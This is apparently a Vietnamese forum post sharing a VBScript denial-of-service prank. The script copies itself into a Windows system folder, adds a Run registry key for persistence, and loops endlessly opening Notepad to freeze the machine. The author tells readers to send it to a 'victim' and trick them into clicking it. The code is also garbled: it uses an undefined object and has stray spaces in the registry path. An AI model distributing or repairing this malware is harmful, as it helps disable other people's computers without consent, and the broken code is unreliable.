Mở notepad lên chép đoạn mã sau vào.

On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop

Sau đó
lưu lại với tên jì cũng đc nhưng với đuôi là ".vbs"
Ví Dụ: treomay.vbs

Rồi để sử dụng bằng cách send cho victim rồi lừa sao cho nó clik vào và thế là...dính chưởng

thấy hay thì thank nèo !

kái này hơi dã man ! Nhưng hum nèo ra wán thử phát